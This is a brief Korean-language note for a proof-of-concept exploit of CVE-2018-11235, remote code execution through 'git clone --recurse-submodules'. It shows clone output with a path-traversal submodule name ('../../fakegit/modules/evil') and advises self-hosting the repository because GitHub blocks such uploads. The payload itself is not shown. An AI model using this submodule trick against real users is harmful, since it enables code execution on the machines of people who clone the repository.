
git clone --recurse-submodules에서 RCE를 허용하는 CVE-2018-11235 PoC 익스플로잇
repository: http://REDACTED/2018-11235_PoC.git/
return:
Submodule 'aaa' (https://repo1) registered for path 'aaa'
Submodule '../../fakegit/modules/evil' (https://repo2) registered for path 'evil'
Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Submodule path 'evil': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Github에서 PoC를 업로드하는 것을 막기 때문에
자체 저장소를 호스팅해야 합니다. 저는 git init . --bare를 사용하여 로컬 저장소를 생성하여 해결했습니다.